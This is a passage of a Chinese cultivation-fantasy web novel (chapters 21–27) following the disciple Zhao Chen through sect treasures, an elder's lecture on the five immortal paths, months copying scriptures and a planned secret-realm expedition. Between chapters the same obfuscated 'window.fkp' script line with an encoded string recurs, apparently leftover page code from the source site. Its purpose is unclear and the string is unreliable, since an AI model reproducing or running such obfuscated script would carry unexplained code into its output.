“其次是拂尘,没什么好说的。再之后是宝剑,别看其在宗内,每位弟子在金丹境都会被赐予一柄,好像不珍贵。实际上这口五彩斩魔剑以五种仙金制成,暗合五行,绝对是一件仙品,放到外面,足以让人杀到血流成河。” “最后也是最重要的,便是这三份空白仙诏。你可以通过这份诏书对正四品及以下的神灵下达一份适当的命令,正四品神灵位比金仙,换句话说,每一份仙诏,你都可以请一位金仙为你做一件事,只要不过分就行。” “同样,你也可以用来册封神灵,每一张仙诏,都可以册封一尊六品神位,六品神位,位比天仙。” “位比天仙?” “对,不过很少有弟子干这事,神灵终究不自由。还不如用此求来世更合算。而嫡传弟子能成仙者,金仙完全是时间的事情,而这时,这仙诏也就没什么价值了。” “当然你也可以写其他的东西,在大概的价值内,这三份仙诏,所有仙庭、冥府乃至整个天地都是承认的。” “那七大天门的嫡传弟子皆有这类似这样的仙诏吗?” 首座闻言点了点头。 “嘶……”赵尘倒吸一口凉气。以前,只知道这玄天宗比较财大气粗,对七大天门却没有什么具体的概念,如今通过这金丹弟子的福利,可知道,自己能进入玄天宗是多么的幸运。 说话间,首座带着赵尘在一孤立的山头落下,山顶之上,一座古朴的亭子映入眼帘,亭中悬挂一青铜巨钟。 “此钟名曰闻道。正如之前和你说的,整座主脉的建筑可以分成三部分,前殿、中段和后部。前殿的核心是祖师神殿。中段的一座座宫殿群便是围绕着这闻道钟所修建。许多门派都有这种类似的建筑。” “有一响入道,三响成仙之说。这也算是个仪式。玄天宗立派四十五万年来总共有三次六响。” “所谓名录大教,声传玄天。只要这钟声响起,这九天十地的玄天门下,无论身在何处,只要不是在闭死关,便都能听见。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十二章 前路 从闻道钟离开后,首座带着赵尘在一片多由楼塔组成的宫殿群前落下,交代道:“这便是玄天宗主脉的经楼。不说书籍的完整性,就藏书量来说,也不是天辰山脉内那一座能比的。” 说着,从袖中摸出一道符纸,递给赵尘。“天辰山脉那边离不开人,我先回去了。你看完书后,引燃这张符纸,我再来接你。” 赵尘接过符纸,询问道:“师叔,这座经楼是哪一位师叔镇守,可有什么要注意的?” “呵呵,放心,目前看守经楼应该是第五脉的首座师兄,哪有那么多禁忌。”说着,拍了拍赵尘肩膀,化作一道光飞走了。 “哎,师……”看着化光而去的首座,赵尘无奈的摇了摇头,整了整衣服,推门而入,抬眼看去,一座座殿堂、楼台、高塔,错落在假山、树丛之间。和云首山后山那一座经楼相比,简直判若云泥,没有丝毫可比之处。 刚要开口,便见一道童走了过来,扬声问道:“是清微师兄吗?” “正是我,不知师弟?”赵尘连忙答道。 “不敢当这师弟之称,我不过是老爷座下一童子。适才老爷正在堂上给我等几位童子讲经,忽说清微师兄来了,让我等各自散去,并让我来迎接师兄,带师兄去见老爷,师兄且随我来。” “劳烦师弟了,我这有件小玩意儿,便送给师弟了。”听见这道童语气中带着丝抱怨,暗暗发笑,从袖中掏出一根柳木软鞭,送给道童。 这柳木软鞭是用数千根千年柳树的柳条制成的细丝,编攒而成。又用掐丝工艺,在上面密密麻麻攒上驱邪、镇鬼等的银制符印,专打魂体。也是赵尘上次从李谊处h换来的。 赵尘上次在云台山之后便准备炼制一些法器,但毕竟没有时间,所以只有几件这样的小玩意。 “谢师兄赏赐。”道童眉开眼笑的接过软鞭,继续给赵尘介绍经楼中的种种情况,语气中那丝怨气早消失的无影无踪。 赵尘听着道童的话,走了一刻多钟,道童把赵尘带到一间精舍前,行礼道:“老爷,我已将清微师兄带来了。” “童儿,你回去休息吧,清微,进来。”五长老的声音从屋中传来。 “见过五长老。”赵尘推门进屋,看见五长老,见礼道。 “不必多礼,清微,来,坐。倒是小童玩劣,我在这向你道歉了。” “长老哪里话,这只能说明师弟的向道之心和勤学之心。再说了,若我能有幸听长老教诲,被人打扰,心中怨气怕是更大。而且那东西,无论是师弟还是我,于我等而言,都只是一件不值钱的小玩意儿而以。” “你啊……清微,到了金丹境界,便要考虑前路了,你对这有个大概的了解吗?” “这个经楼中好像没有记载,”赵尘闻言愣了一下:“还请师叔教诲。” “这说来就话长了,,首先从最开始说起……” 赵尘见状,立刻给长老把茶杯倒满,正身坐好。 “你当知道每十二万九千六百年为一元会,简称一元,一元又分成十二会,每会一万零八百年,每会又分成三十运,每一运三百六十年。这是往细处、小处说,” “往大处说,每十二万九千六百元为一阿僧只劫,简称一劫,故每劫有一百六十七亿九千六百一十六万年。” “每三百六十劫为一纪元,每纪元有六万零四百六十六亿一千七百六十万年,一尊大千世界自始至终当有三百六十纪元,所以三百六十纪元称一大千,故一大千有两千一百七十六万七千八百二十三亿三千六百万年。” “从古至今,被分成若干纪,每一纪少则一纪元,多则数纪元、数十纪元、上百纪元不等。” “从世界形成的创世纪到天地开辟的开天纪,到之后的开天纪、演生纪、祖灵纪、造化纪、诸神纪,合称为冥古时代。” “之后是包含辟道纪、太乙纪、传道纪、三才纪的太古时代。称为上古时代或人皇时代的皇庭纪和生灵纪。再之后后便是被称为中古时代的定天纪、飞升纪、无仙纪。最后是如今才持续四十五万八千多年了的近古时代传法纪。” “这便是从古至今的大致时序,”说到这,长老拿起茶杯,猛的喝了一口:“你要是感兴趣的话可以去经楼中找来看一看。只有知道了这些,才能从头说清楚前路。” “上古时代,人皇对从祖灵纪到太古时代,先天生灵模仿先天圣灵,先天圣灵模仿先天神圣的法门归纳、总结,整理出一条普通生灵成就神圣的道路。” “这条如今又被称为古仙路的道路,共四阶十二步,分别是:培元、养气、金丹、元婴、化神、元神、洞玄、返虚、空冥、炼虚、合道、人仙。” “后来时代更替,古仙路的修炼日益艰难,人们便在古仙路的基础上做出改变。后来,七大仙庭传法人间之时把这些改变进行归纳整理,在古仙路的基础上整理出了五条正仙路,即:天、地、人、神、鬼,五仙。” “这传法纪四十五万年来,世俗当中,在各家门派所流传出去的功法残篇及一些思想上,又逐渐形成了两条偏仙路,一者主张练气,一者主张练神。” “而无论是练气一脉,又或者是练神一脉,均成就有限,这里便不多说了。你若是有兴趣,可以自己去经楼中找些书看。” “说回正仙路,都是从古仙路中删改出来的,第一阶还是一样的。从第二阶开始就逐渐分开了。” “天地二法门和古仙路一致,人仙法曰金丹一转,鬼神二法门则是走阴神阳神之变。分阴神、风劫、火劫三步。” “等到第三阶,天地二法门也已分开了,天仙法第三阶为胎仙、炼形、脱质三步;地仙法为真种、理气、道场三步;人仙法便是金丹二转;神鬼二法门虽然还没有完全分开,皆是三度雷劫,由阴神化作阳神,但也有了很大的区别。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十三章 仙分五等 “鬼仙法的第三阶只要在深山苦修即可,但神仙法却需要收集香火信仰,借香火磨炼神湖,这又和神道不同。” “等到第四阶的时候,这五条正仙路便彻底分开,修天仙法者要在人间传法,济世渡人,朝着于天地有大功,于古今有大行的方向努力,待一朝功满,举霞飞升。” “修地仙法者,从将道场化作一块福地开始,不断演化福地,直到将福地化作洞天,便是成仙了道。” “人仙法便是金丹三转。” “神鬼二法门虽都是从成就阳神开始,不断纯化阳神。神仙法需积累功德,一者用以洗涤阳神上残余的香火气息,二者用来点化阳神,使得阴尽阳纯,成就纯阳,羽化登仙。鬼仙之路则是走阳极阴生,在阳神中炼出一点纯阴,阴中超脱,尸解成仙。” “这便是金丹之后的五条路了,具体过程你只能自己去经楼中寻找了,提前和你说一下,也只是让你大概有个方向而已。” “虽说这五条路走到最后,都是一个天仙果位,但却也有所差异,这差异不但表现在人间四阶,在成仙后也有所体现,故而,同样是个天仙,却有个仙分五等之说。此次选择,事关前路,一定要慎之又慎。” “多谢长老教诲,若非长老告诉,小子还不知道原来仙路如此博大精深。” 长老摆了摆手,又和赵尘闲聊了几句,便唤来道童,让其给安排了间小楼,带赵尘下去休息。 …… “师兄,你看这座楼如何,一来离老爷近,二来距各座经楼也不远,三来周围也算清净。”道童指着一座半掩于树丛中的精舍小楼道。 这道童和之前领赵尘进来的那个不是一人,赵尘笑着自袖中摸出一枚玉佩,道:“此处看起来很好,多谢师弟了,这玉佩带在身上,有清心之效,便送于师弟了,切勿推辞。” 道童开心的接过玉佩:“师兄满意就好,多谢师兄赏赐。” 打发道童离开后,看着道童欢喜的背影,赵尘笑着摇了摇头,将楼中略做收拾了一番,便一个人静静的坐在房中,思考着前路。 这五条仙路,各有侧重,难易也各不相同。其次,各有什么优劣师叔也没有说清楚,不知做何选择比较好。还有,师叔说古仙路如今修行艰难,但却不是完全没有可能,也不知自己有磨盘相助可否例外。 最后仔细想了想,这五条仙路究竟如何,自己并不清楚,古仙路要什么条件自己也不知道,自己独自一人在这里空想可以说毫无意义。 想到这里,赵尘狠狠的甩了甩脑袋,决定还是多看看书再说。 从此之后,赵尘过上了白天在经楼辛苦抄书,晚上一个人在小楼里苦读的生活, 赵尘发现,这里的经楼和天辰山脉那座经楼有很大不同。 首先是这里要热闹很多,除了师叔和数十位随侍、道童的,不时有师叔祖、师叔、师兄和他们的随侍前来翻阅书籍。和天辰山那里三个月没碰见第三个人的冷清完全不同。 其次是藏书量的不同,天辰山那里不过是一座五层阁楼,而这里却是一座绵延的宫殿群。 最后则是内容的不同,天辰山脉的经楼之中书籍,都是一些文字图案。而这些宫殿群中的书籍,表面上看也都是以大量道文、部分仙文、神文和极少数冥文所写,中间还插着些图画,和经楼中的差不多。 但实际上,相比于字形,其更注重于每个字,每句话,每个段落,每篇文章,乃至于字与字之间,句与句之间,段与段之间,文章与文章之间,乃至于整本书之间道韵的流转和变化。做个不恰当的比喻,若说之前经楼中的书就是一本书,而这里的每本书更像一个活的,不断运转的世界。 这些道韵其实是书写者对道的感悟的表现,或是书写者主动将道的感悟注入文字之中,或是文字被动的被道所侵染的产物。 性光圆满者,便有了初步的过目不忘,第二阶修士,那更是所见所闻,只要愿意,皆能历历在目,明察秋毫,且永世不忘。但对这些道韵流转的道书却毫无办法。只是记住了道书上的文字内容,也只能领会其中百分之一、万分之一,甚至更少玄妙。 对于这种道书,绝大多数人都能分成三个层次,第一种是压根参悟不到这种道韵,这有在持着这本书诵读的时候,能冥冥之中,隐约体会出一种韵味。 第二个层次,虽然能体会到书中不断流转的道韵,但却是过眼就忘。只有真正悟到了,理解了,吃透了,才能记住。所以只能将道书带在身边,时时诵读,,时时参悟,时时体会。 第三个层次便是如同寻常人看过一遍一份大部头一样,一遍下来只能记住了一些残枝碎叶,但没一会儿就又忘了。所以也一样要将道书带在身边,时时诵读,,时时参悟,时时体会。 便是抄录道书,那也是对抄录者有要求的,原作者写下的叫做原本,便是原作者照着原本重新超伦一份,其道韵往往也有丝毫差距,这些包括原作者抄录的,含有原本九成以上道韵的叫做副本、副册。 含有原本七成以上道韵的叫做上等抄本,含有原本五成以上道韵的叫做中等抄本,含有原本三成以上道韵的叫做劣等抄本,连三成道韵都没有的便只能成为残障断句,简称残本了。 而若是有境界在原作者之上的,对原本进行抄录,所含原本九成以上道韵,但又别出机杼的则被称为别册。随意往往别册比原本更珍贵。 这也是赵尘能在这里看见师叔祖、师叔……这些人的原因。但赵尘却惊喜的发现,自己的磨盘却可以完整的记下道韵,换句话说,赵尘可以和经楼时一样,将这里的书全部抄走,必要条件下,甚至可以复制原本。 便这样过去了半年有余,随着赵尘把最后一堆书塞回书架,终于结束了自己的抄书之旅。 “如今,我越发的肯定,能成仙的,没有哪一个不是学富五车,满腹经纶的。”赵尘一脸感叹的走到庭中。抬眼看了看,右手从袖中摸出一张符纸,手腕一甩,将符纸引燃,向长老住处赶去。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十四章 解封名山 赵尘来到长老所住的精舍外,见几个道童正在庭中照顾着几株仙芝灵草。 看见赵尘走来,几名道童立刻躬身行礼。“见过师兄。” “几位师弟好,我来拜见师叔,师叔在屋内吗?” “老爷今早去北亭了,师兄若是有事,请随我来。”为首的道童答道。 “有劳师弟了。”赵尘道谢。 “不敢,请师兄稍候,容我交代几句。”说罢,便对其他几位道童轻声叮嘱几句。之后便带着赵尘往西北方向走去,不到半个时辰,行了大概三五里路,远远看见崖边一座凉亭。亭中两道人正说着什么,周围侍候着三个道童。 忽然,两人转过头朝赵尘看过来。其中一人,正是长老,朝赵尘招了招手:“这便是不久前入道的清微师侄,这是真黍师弟,和我一样,也出自第五脉。” 一番拜见之后,真黎仔细看了看赵尘:“好一个清秀俊朗的少年郎啊。”。说话间拿出一块金色小牌,递给赵尘:“清微师侄,我身上没带什么东西,这送你做个见面礼吧。” “多谢师叔。”赵尘双手接过,仔细看去,这是一块一寸长的小金牌,上刻一身披甲胄的神将。 正在思索这是干什么用的,便听见长老开口解释:“这应给是一枚封有一道护法神神力的金牌,向其中微微灌入些法力,便可召唤出一位护法神投影。” “清微,你来找我,有什么事吗?”解释完,不待赵尘开口,又询问道。 “禀师叔,弟子此来,打算向师叔辞行。” “通知真泉师弟了吗?” “我来时已将符纸引燃,想来首座应已知道了。” “如此,你在这稍后一会儿吧,估计要好一会儿才能来。” “一切全依师叔吩咐。”赵尘闻言,便侍立在一旁,听着两人就一本经书展开的辩论。赵尘将那本书从脑海中找出来,默默的记录着两人的话。 大约过去半个多时辰,只见一道青光落于亭外,真泉从青光中显露出来,见礼道:“两位师兄。” 赵尘同时自旁边从亭子中下来,向首座行礼。 “这半年麻烦师兄了。”真泉对五长老道谢道。 “没有,清微很刻苦,所问问题也很有见地。” 几人又闲聊了片刻,真泉开口道:“如今我镇守天辰,不便远离,便先带清微回去了。” “师弟慢走。”五长老和真黍皆开口道。 真泉点头示意,一手抓着赵尘的肩膀,往上一提,化作一道青光飞去。 …… “清微,你可曾对山中那些道童、护卫等人的来历有所疑惑过?” 正坐在木舟上看着下方灵照山景致的赵尘,突然听见首座的问话,顿时一愣:“还请师叔指点。” “呵呵,待会儿勿要惊慌。” 首座笑着取出金印,伸手往金印底下一抹,将金印往下抛去。 只见金印落在灵照山一座山峰的峰顶,青金色的光圈从金印下蔓延而出,迅速覆盖整座灵照山和周围一大片土地。接着,刺眼的光芒爆发而出,待光芒散尽,首座一招手,把金印召回。 赵尘往外看去,差点从木舟上栽下去。 自己的灵照山三十九峰皆有原来的十倍之高,还多了许多不曾见过的山峰河流,周围面漆,足有之前的百倍之多。若说之前的灵照山只能一片不知名的小山,而如今,完全当的起名山大川之称。 首座猛然将木舟拉高,赵尘放眼望去,周围皆是完全陌生的景色,高山深谷、平原丘陵、大江大河……直到天边。其中又星星点点的分布着一些被浓雾笼罩的地方,好像几粒洒落在面饼上的沙砾。 天地间的灵气,虽没有主脉灵气如雾、神曦似雨这么夸张,但绝对多到肉眼可见的程度,远处隐约可见几处村庄、城镇散落其中。 随着首座将木舟降落在赵尘的院前,可以看见,自己山中的灵气浓度在快速的攀升。地气丝丝缕缕的蒸腾而起,远远看去,好似狼烟升空。灵气从四周涌来,在空中形成蒙蒙细雨落下,大多数在半空中又被地气冲散。 赵尘看见钱穆朝自己赶来,介绍道:“钱叔,这是首座师叔,师叔,这是宗内配给我的护卫。” “钱穆见过首座。”钱穆闻言,连忙见礼。 首座长老,对赵尘来说只是一位见过几次面的师门长辈,但对钱穆来说,清泉真君,那真是神仙一样的人物,是这一片苍茫大地的天,是他从小听到大的神话。 首座看着壮汉,点了点头,又摇头叹了口气:“不错,筋骨强健,气血纯净厚重,心性稳重单纯。你忙自己的去吧,我有话和清微说。” 钱穆闻言看了赵尘一眼,见赵尘点头便连忙回自己屋中去了。 首座和赵尘来到院中,“就在这说吧。”一挥手,变出一套桌椅。 “师叔,这究竟是怎么回事?” “如你所见,这才是真正的天辰山系,长三十多万里,宽五万多里。如你之前所见的村庄、城镇。那种可生活十来万人的城镇天辰山系内足有六七十个,再加上更多小一些的城镇,还有数不清的村落,整座天辰山系之中大概生活着三五千万的人。” “这数府之地,却生活着不到一个县的人口。这些人皆是曾经宗内弟子及其家人朋友等开枝散叶留下的后人。正如之前的那个问题,那些道童和护卫便是从中选出。” “还有,这天辰一脉,每一辈一共二十七个名额,其中九个便是在这几千万人之中选出。比如清霓,便是出生天辰山系。” “原来如此,多谢师叔解惑。那弟子之前看见的那星星点点的,被浓雾笼罩的地方又是什么原因呢?” “这个嘛,想来你也猜到了。山内灵气太多,于培元、养气境的修行而言,反而无用,而且对养气境来说,甚至还是一个负担。” “所以宗中选出大概万分之一的地方,将之封印起来。不但天辰山系如此,便是主脉和其它支脉也一样。当然了,这些地方肯定不是平均选的,自然有的地方多,有的地方少。” “再将这些封印之地巧妙的拼合在一起,形成了你之前所知道,那的一万五千里的主脉,十二条支脉的玄天山脉,只是主脉的那些封印之地,其灵气没有被封印掉。” “再将这玄天山脉和外界相连,一来方便防御。外人想要进入玄天宗,先要从玄天宗牌楼而入,进入封印中的玄天山脉,经过主脉前殿之后,再穿过封印,才能到达目的地。二来这封印也方便弟子赶路之用。” 说着,首座指了指远处一片林子中的一小片浓雾:“举个例子,从你这儿到云首山。从封印中走只有七百里,但要不走封印,足足有七万多里之远。” “如今你灵照山的封印刚解开,景象有点大。等山中灵气恢复了,便不会这般夸张了。对了,清微,你将玉牌拿出来,我给你开启最后一个功用,以后你便可以凭借玉牌穿过封印了。” “如此便麻烦师叔了。” “没什么,你这灵照山的封印解除,待会儿我还要重新选一座山,将其封印回去。”说话间,首座随手将玉牌扔给赵尘,将身下桌椅收走,三两步间,便消失在远处浓雾中。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十五章 再见明尘 之后,赵尘又过了一个月积攒法力,滋养灵根,打磨根性的生活。历时七八个月,金丹境界完全稳定下来,赵尘便按照金帖所留的坐标,向明尘的住处赶去。 赵尘借助金帖,驾驭着遁光来到目的地,按下金光,抬眼看去,好一派清净祥和之景。 八百里平湖静影沉璧,几个小村庄依湖而建,一层层的小丘衬托在村落之后,晚风吹过,苍松翠竹,沙沙作响,更显空寂。远远望去,一层高墙隐约从林间探出。 赵尘化光飞过村落,落在小丘前,透过树林,看见一巍峨道宫坐落在一片草坪之后,五丈多高的白墙,青砖灰瓦, 大一看给人一种清新干净的感觉,虽有些巍峨、肃穆。仔细看去,刷墙的的白灰主料是由一种白玉研磨而,青灰色的砖块实际上是由一种玉料雕琢而成,至于灰瓦,更是一种不反光的灰色琉璃瓦。 “真不愧是明尘师叔祖的风格啊!” 见此,赵尘不由失笑道。刚到门口,便被童子迎去了丹房之中。 丹房内,明尘正守着一座丹炉,不时往炉内加些金石本草,见到赵尘,不由点了点头:“不错,比我预料的要早几年。” “师叔祖,您当年……” 一番客气之后,赵尘随即问起了明尘渡自己入宗的原因,其实在当年来的路上赵尘已经询问过一次,却被明尘推脱了。 “清微,你可知道炎离部洲一千年前有一帝朝?对了,你知道什么是帝朝吧?” “弟子曾在书中看到过,略有所知。” “此帝国国号曰宋,其帝族姓赵……” 原来明尘当年便是这帝朝之主,其九岁即位,十三岁亲政,十七岁时传位于小自己三岁的弟弟,弃位离家,寻仙求道。 其弟在位二十年,虽有中兴之主之称,但终究气数将尽。之后三十多年,帝朝连传七帝,最后轰然崩塌。 “这一千两百多年,炎离部洲几度沉浮。到如今,举族也只有你我两个活人了。” “帝朝崩塌,不仅是因为本来就气数将尽,也有我修仙问道,消耗了不少气运的原因。所以,我去寻你,带你入道,便是和族中了结因果。当然,你是我弟弟的后人,我自然不会亏待于你。” “原来如此,”解开了心中疑惑,赵尘只觉全身都轻快了几分,便是心中,也亮堂了些许:“那师叔祖这次寻我来是因为?” “我唤你来,自是有你好处。”见赵尘神情,明尘轻声笑了笑。 说话间,明尘紫府之中,元神坐在丹台之上,一挥手,从远处虚空中招来一堆小玉简,从中挑出两枚,剩下的扫回原处。 这两枚玉简皆是一缕专门处理过的,特殊的气机所化。明尘的元神伸手将两枚玉简点碎,化作两个栩栩如生的立体人影,随后,明尘元神伸出手掌,将两枚念头显化在手中,化作两枚无色透明的晶珠,其中隐隐有信息流转。随即伸手一抛,将晶珠抛入人像中,人像和晶珠一起消失不见。 “我这炉丹已炼制了三年多,再有两个月就可以成了。等丹成之后,你和我去一处秘境。” “不知是什么秘境?” “这是我以前在外游历时,和朱天门下秋禾仙子与炎天门下淑月仙子共同发现的一处秘境,是一人皇时代留下的一残破洞天。” “人皇时代留下的。”赵尘听的两眼发光。 不久前刚补充了一番知识的赵尘当然清楚,所谓人皇时代,距今少则四十二万亿年,多则八百多万亿年。到今天能够留下的必然是在洞天小世界中,而且还不是一般的洞天小世界。 据书中所载,直到如今发现的的人皇时代遗址,多是金仙所留,而金仙,那已经是可以轻松开辟完整小千世界的人物。 明尘回头看了一眼,好笑道:“想什么呢,里面早被我们搜刮光了,洞天内还有一处小秘境,其入口因为时间流逝,脆弱的只能承受金丹境的力量,加上里面浓厚的先天之气。我等便将之封存了下来,约定等他日各带一晚辈去,作为历练与机缘。” 说话间,便有两条讯息从明尘心底流过,紫府之中,明尘又扯出两枚玉简,重复了一遍之前的动作。一番你来我往之后,终于确定下来。 面对明尘的打击,赵尘却是很有自知之明,眉开眼笑道:“若是完整的人皇时代的秘境,怎是我这样的小金丹可以染指的。” “你能这样想很好,那座洞天对人皇时代留下的遗迹来说,仅算很小的机缘,但我们探索时也是险死还生。” 明尘说话间,翻出一堆拇指大的小玉瓶,示意赵尘接住。 “这是什么?” “你现在修炼服用饵食时,服什么?”明尘奇怪的看了赵尘一眼。 赵尘忙接过玉瓶,放在一旁的空桌:“难道不是依照经楼中的药方和门中配制灵药,对照自身情况,自己进行微调,用水煎服吗?” 明尘一脸诧异的看着赵尘“你没找到丹方,自己炼丹吗?”。 “这经楼中的那些丹方炼成的丹药,服用那个,还不如直接吃对应的药材。至少这样,磨炼药性要比打磨丹药中那复杂的药性要简单的多。” “我说的不是那些偏仙道中练气一脉吃的那些药丸子。这种东西你要多少,我能给你搓多少出来。我说的是那些正统的丹药,无论是炼给普通人服用的,还是给修士服用的,不说其种种圆满与玄奥,只说药性,每一缕药性都被细细打磨和精炼了多少遍。” 明尘说着,从身上摸出一同款小瓷瓶,扔给赵尘。 “您是说那些什么什么道丹,什么什么金丹,什么什么玄丹,什么什么元丹之类的炼制方法啊,那实在是太深奥了,压根看不懂。” 赵尘说话间接过瓷瓶,往外一倒,发现里面只装有一颗碧绿色的翡翠珠子。 “这是我炼的一颗滋养生机的丹药……” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十六章 宿世因果 正统的丹药,大体可分成两类,一类是专门给修士服用的,另一类则是普通人也可以服用。 这种专门给修士服用的丹药,若是内炼不够,和直接服用金石珠子差不多。 正常来说,一位真人,要炼化一颗丹药,少则三个月,多则半年,而要完整消化一颗丹药的药力,至少一年以上。 至于普通人可以服用的丹药,以一颗同样的专为修士炼制的丹药作比较,则要多用一份药材,多花一倍时间,炼制过程要繁琐一倍,而药效却只有修士版的八成。 这种丹药对修士来说,除了可以给普通人服用之外,只有不需要炼化,且药效的吸收要快上半分,这点好处。 所以一般修士只有在准备可以救命的疗伤丹药时才会备上一点用来压箱底。 在说回来,因为金丹境时,没有炼化丹药的能力,可如果单纯煎服灵药,又太慢了。后来便有人研究出了一种介于两者之间,金丹境便可以炼化,细若面粉、粗若精盐颗粒的散。 便是最上乘的散也只是比同类丹药多花一成的药材,手法稍微繁琐一些罢了。且比丹好炼很多,几乎没有失败之说,不过是质量上的差距。质量差的,杂质多一点,品相差一点,效果差一点而已。若是将一些炼废的丹药再炼成散更是一种废物利用。 “一般金丹,若是在煎灵药时加一点的话,每三到五天煎服一次灵药。若是直接服用,每次至少间隔一个月。”明尘示意赵尘将桌上小玉瓶打开看一下。 赵尘依言将每个小瓶打开看了一下,皆是些粉状晶体,白的、黄的、金的、绿的、青的、紫的、黑的,各种颜色皆有。 “这种是强壮筋骨的,这种是壮大气血的、这种是滋养五脏的,这种是涤荡浊清的,这种是强大神魂的……”明尘在一旁解释不同颜色的用处:“这玉瓶外面看着小,里面却很大。每个都能装满一座很大的酒缸,估计够你用到真人境界中后期了。” “多谢师叔祖。”赵尘将这些玉瓶收回金帖之中。 “没什么,这段时间你就和我学一下炼丹吧。金丹境界,连丹都不会炼,实在有些说不过去。” 随后明尘又指点了赵尘一番金丹境的修行,便吩咐童子带赵尘下去休息了。 之后几个月,赵尘便过上了每日子午泖酉独自修行,上午两时辰明尘细细为其讲解金丹境的修行,下午两时辰由明尘教导其炼丹法门,剩下四个时辰则平时用来处理杂事和通读经典,每三天在其中抽出两时辰用来休息的规律生活。 …… 阳苍部洲,三百零九年三月,正是草长莺飞时节。 青江之中,一条精致的楼船顺着江水轻轻飘荡。船中,赵尘和明尘两人相对而坐,看着窗外的风光。 “青江位于阳苍部洲中部偏北,全长三千里,只能算一条小江。这一段江水宽十里,绕茫山而过,我所说的那处洞天便在这茫山深处。上次来时,好像是一座皇朝统治这里,不过当地百姓都有一种皇朝末年的暮气之感,现在却是种朝气蓬勃的感觉。” 听着明尘那坐看皇朝生灭的语气,看着江边游人如织,赵尘的思绪也随着游人飘向远方。 “来了。”明尘忽然将手中茶杯往桌上一放。 赵尘闻言,连忙起身整了整衣襟,便看见一道流光落在眼前。待光芒散去,三女一男出现在船头。 明尘起身和两位女子一番寒暄,看了眼赵尘:“这是我族中晚辈,赵尘。” “这是秋禾仙子,这是淑月仙子。”明尘依次为赵尘介绍道。 “见过禾秋师叔祖、月淑师叔祖,见过师兄、师姐。”赵尘连忙见礼。 “师叔祖?”身穿青色宫装的秋禾仙子顿了顿:“呃……小赵尘,你还是叫我前辈吧!” 说话间,转身将正好奇打量赵尘两人的,身穿青白二色劲装的少女,从身后拎了出来:“这是姬昭,受人所托,代为照顾。” 闻言,明尘眉头微皱了一下。 随着禾秋的话音落下,少女也恭敬的对明尘见了一礼,又笑嘻嘻的对赵尘招呼道:“赵师弟好。” 随后,身穿道袍的淑月对着身旁的青年男子微微招手:“这是湘水水神之子,虞湘。和我也算有些渊源。” 虞湘也随之对明尘和赵尘见礼。 “湘水,那一条?” “就是师兄出生的炎离部洲的那一条湘水。” 明尘想了想:“我没记错的话,那条湘水好像长六十余万里吧,也不算短。湘水水神好像是四品吧。如此说来,这位水神也是一位金仙大能了。” 说话间,几人来到楼船的正厅,分别落座之后,淑月见明尘好奇其中缘由,遂解释起来。 那还是三千两百年前,淑月那一世是一位男子,到也颇有家财。家中除他之外,只有一年幼的女儿和一些忠心的老仆。 忽有一日,淑月遇到了一游方道士。受其点化,道心萌发,起了向道之心。便将一身家产和幼女都托付给了老仆,随游方道士求道而去。 或是福源不够,或是资质不行,又或是心性不坚。之后连修七世,都未能成仙了道。直到这一世,淑月才拜入炎天门下,总算稍有成就。 这就体现出了人和人的不一样,淑月连续八世才有望正果。并且多次转世之下,和第一世相比,除了真灵大体一样之外,便是灵魂,相似之处也已不到两成。 而淑月第一世的女儿,大概是比她父亲有福。自幼听着其父亲的故事长大,为了寻父,也踏上了求仙问道之路。 其到是颇有仙缘,意外得到了一卷偏仙道练气一脉的功法,只那一世,便成仙了道。短短三千多年,不但成了仙,还修炼到了金仙境界。 数十年前,嫁给湘水水神的她托关系找到了淑月,两人见面时的场景,只能说一句相顾无言。淑月为其获得了湘水一条支流的六品水神神位。 二十多年前,她将自己刚出生的孩子托付给了淑月,因为练气一脉的仙人本源实在太单薄了,两位金仙之子竟只有金丹境界。所以希望能通过淑月拜入炎天门下。 “生来便是金丹末期,竟然至少还要打磨五年才能圆满,唉……”说到这里,淑月也不禁摇了摇头。 随后明尘三人又天南海北的聊了些别的,又约定今天晚上去开启洞天,便各自散去。 四人各自挑了一个房间,回房中调息休息去了。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十七章 先天差距 